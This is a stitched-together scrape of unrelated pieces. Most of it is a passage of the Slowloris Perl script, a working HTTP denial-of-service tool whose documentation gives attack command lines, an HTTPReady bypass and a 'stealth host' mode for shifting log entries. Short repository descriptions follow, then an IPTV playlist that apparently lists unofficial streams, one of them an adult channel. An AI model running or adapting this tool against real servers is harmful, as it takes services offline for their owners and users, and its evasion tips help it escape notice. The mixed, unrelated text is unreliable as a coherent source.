"$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris =head1 VERSION Version 0.7 Beta =head1 DATE 06/17/2009 =head1 AUTHOR RSnake <h@ckers.org> with threading from John Kinsella =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? =head1 DESCRIPTION Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. =head2 Testing If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: =head3 Testing Example: ./slowloris.pl -dns www.example.com -port 80 -test This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing). =head2 HTTP DoS Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though. =head3 HTTP DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 =head2 HTTPReady Bypass HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. =head3 HTTPReady Bypass Example ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready =head2 Stealth Host DoS If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. =head3 Stealth Host DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com =head2 HTTPS DoS Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. =head3 HTTPS DoS Example: ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https =head2 HTTP Cache Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. =head3 HTTP Cache Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache =head1 Issues Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. =head1 What is a slow loris? What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
dfranciscus
This script runs continously to monitor MDT deployments and sends email alerts when depoyments finish. This is best used as a Windows service. To create a service easily - try NSSM https://nssm.cc/download
jim8220
Research in automatic piano music generation has only recently started to involve piano pedals as a part of the task. In this work, we train various neural network architectures with piano sustain pedal control-change (CC) data using different categories within the MAESTRO classical piano music dataset to study the performances of basic models and test the suitability of neural networks in an automatic piano pedal styling task. By changing the temporal scanning range of convolution kernels and the depth of the network structure, we show that both factors are relevant in the accuracy of pedaling style prediction. Currently, our best CNN-based Auto-SusPed model predicts a specific composer’s pedaling style and a specific musical era’s style with accuracies of around 90%.
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http://csm-e.tm.yospace.com/csm/extlive/boxplus01,boxhits-desktop.m3u8?yo.up=http%3a%2f%2fboxtv-origin-elb.cds1.yospace.com%2fuploads%2fboxhits%2f #EXTINF:0, group-title="MUSIC",M2O TV http://m2otv-lh.akamaihd.net/i/m2oTv_1@186074/index_600_av-p.m3u8 #EXTINF:-1 tvg-id="" tvg-logo="https://bit.ly/3gpRLt7" group-title="KID",Disney http://103.47.132.164/PLTV/88888888/224/3221227183/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS",ANIMAX http://210.210.155.35/dr9445/h/h144/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS",ANIPLUS http://210.210.155.35:80/dr9445/h/h02/index.m3u8 #EXTINF:-1 tvg-id="" tvg-logo="https://bit.ly/3gpRLt7" group-title="KIDs",Disney Junior http://103.47.132.164/PLTV/88888888/224/3221227539/index.m3u8 #EXTINF:-1 tvg-id="" tvg-logo="https://bit.ly/3gpRLt7" group-title="entertaiment",Blue Ant Extreme http://103.47.132.164/PLTV/88888888/224/3221227319/index.m3u8 http://210.210.155.35/qwr9ew/s/s33/index.m3u8 #EXTINF:-1 group-title="entertaiment",KIX SD http://210.210.155.35/session/e269237c-7e3d-11e8-a249-b82a72d63267/uq2663/h/h07/02.m3u8 #EXTINF:-1 group-title="entertaiment",KIX HD http://210.210.155.35/session/e269237c-7e3d-11e8-a249-b82a72d63267/uq2663/h/h07/01.m3u8 #EXTINF:-1 group-title="entertaiment",thrill SD http://210.210.155.35/session/c8a974dc-7e3d-11e8-bf09-b82a72d63267/qwr9ew/s/s34/02.m3u8 #EXTINF:-1 group-title="entertaiment",thrill HD http://210.210.155.35/session/c8a974dc-7e3d-11e8-bf09-b82a72d63267/qwr9ew/s/s34/01.m3u8 #EXTINF:-1 group-title="entertaiment",CINEMA WORD http://210.210.155.35/uq2663/h/h04/index2.m3u8 #EXTINF:-1 group-title="entertaiment",HITS http://210.210.155.35/uq2663/h/h37/index2.m3u8 #EXTINF:-1 group-title="entertaiment",AXN http://210.210.155.35:80/session/37ee409e-73b5-11e9-b657-a0899505893d/uq2663/h/h141/01.m3u8 #EXTINF:-1 ,Heyzo tv http://hls2e-vz-videos2.yjcontentdelivery.com/_hls/9/4/94f90c2feee4de53b7b4c3d90b67e3b01486994410-1280-720-2212-h264.mp4/index-v1-a1.m3u8 #EXTINF:-1 group-title="XXX" tvg-logo="http://adultiptv.net/lists/logo.png",Jasmin TV http://109.71.162.112:1935/live/sd.jasminchannel.stream/playlist.m3u8 #EXTINF:-1 group-title="Knowledge" tvg-logo="https://www.cutcabletoday.com/wp-content/uploads/2016/05/animal-planet-loo.jpg",DISCOVERY CHANNEL http://103.47.132.165:80/PLTV/88888888/224/3221227169/1.m3u8 #EXTINF:-1 group-title="Knowledge" tvg-logo="https://www.cutcabletoday.com/wp-content/uploads/2016/05/animal-planet-loo.jpg",DISCOVERY ASIA http://103.47.132.165:80/PLTV/88888888/224/3221227161/1.m3u8 #EXTINF:-1 tvg-id="NatGeo.id" tvg-name="National Geographic Channel HD" tvg-logo="http://j2-play.tv/cover/live/doc/nationalgeographic.png" group-title="KNW",National Geographic http://103.47.132.165:80/PLTV/88888888/224/3221227177/1.m3u8 #EXTINF:-1 tvg-id="NatGeoPeople.id" tvg-name="National Geographic People" tvg-logo="https://i1.wp.com/unifistreamyx.info/wp-content/uploads/2015/07/NatGeo_People_logo-628x353.gif" group-title="KNW",Nat Geo People http://103.47.132.165:80/PLTV/88888888/224/3221227127/1.m3u8 #EXTINF:-1 tvg-id="" tvg-name="National Geographic Wild Backup" tvg-logo="" group-title="KNW",Nat Geo Wild http://103.47.132.165/PLTV/88888888/224/3221227157/2.m3u8 #EXTINF:0 tvg-logo="https://i.postimg.cc/SRXL3fSj/119.jpg" group-title="HIBURAN",HISTORY https://chama.ml/channelgratisan-HISTORY #EXTINF:-1 group-title="Knowledge" tvg-logo="https://www.cutcabletoday.com/wp-content/uploads/2016/05/animal-planet-loo.jpg",ANIMAL PLANET http://103.47.132.165/PLTV/88888888/224/3221227173/1.m3u8 #EXTINF:-1 tvg-id="" tvg-logo="https://bit.ly/3gpRLt7" group-title="MOV",FOX http://103.47.132.164/PLTV/88888888/224/3221227137/index.m3u8 #EXTINF:-1 tvg-id="FXC.Asia" tvg-logo="https://static.epg.best/qa/FoxCrime.qa.png" group-title="MOV",FOX Crime http://103.47.132.164/PLTV/88888888/224/3221227165/index.m3u8 #EXTINF:-1 tvg-id="" tvg-logo="https://bit.ly/3gpRLt7" group-title="MOV",FOX Family Movies http://103.47.132.164/PLTV/88888888/224/3221227117/index.m3u8 #EXTINF:-1 tvg-id="FOXActionMovies.id" tvg-name="FOX Action Movies HD" tvg-logo="https://upload.wikimedia.org/wikipedia/commons/e/ea/Fox_action_movies.jpg" group-title="MOV",FOX Action Movies http://103.47.132.165:80/PLTV/88888888/224/3221227121/1.m3u8 #EXTINF:-1 tvg-id="" tvg-logo="https://bit.ly/3gpRLt7" group-title="MOV",FOX Life http://103.47.132.164/PLTV/88888888/224/3221227277/index.m3u8 #EXTINF: -1 tvg-logo="https://m3u-editor.com/storage/channel-logos/07cd9d90-3cc5-11ea-9aa8-0b5bd3ba261d/92700/14042775.png" group-title="MOV", FOX MOVIES PREMIUM #EXTINF:-1 tvg-id="FOXSports2.my" tvg-logo="https://i.imgur.com/n3ieiWB.png" group-title="Sport",Fox Sports 1 https://livecdn.fptplay.net/qnetlive/foxsports_2000.stream/chunklist.m3u8 #EXTINF:-1 tvg-id="FOXSports2.my" tvg-logo="https://i.imgur.com/n3ieiWB.png" group-title="Sport",Fox Sports 2 https://livecdn.fptplay.net/qnetlive/foxsports2_2000.stream/chunklist.m3u8 #EXTINF:-1 tvg-id="FOXSports3.my" tvg-logo="https://i.imgur.com/VouoBXj.png" group-title="Sport",Fox Sport 3 https://livecdn.fptplay.net/qnetlive/foxsports3_2000.stream/chunklist.m3u8 #EXTINF:-1 tvg-logo="" group-title="Sport",Fox Sports News https://austchannel-live.akamaized.net/hls/live/2002736/austchannel-sport/master.m3u8?checkedby:iptvcat.com #EXTINF:-1 group-title="sport",Red Bull TV HD http://rbmn-live.akamaized.net/hls/live/590964/BoRB-AT/master_1660.m3u8 https://rbmn-live.akamaized.net/hls/live/590964/BoRB-AT/master_3360.m3u8
Ale32bit-CC
the best node implementation in cc.
kulmam92
No description available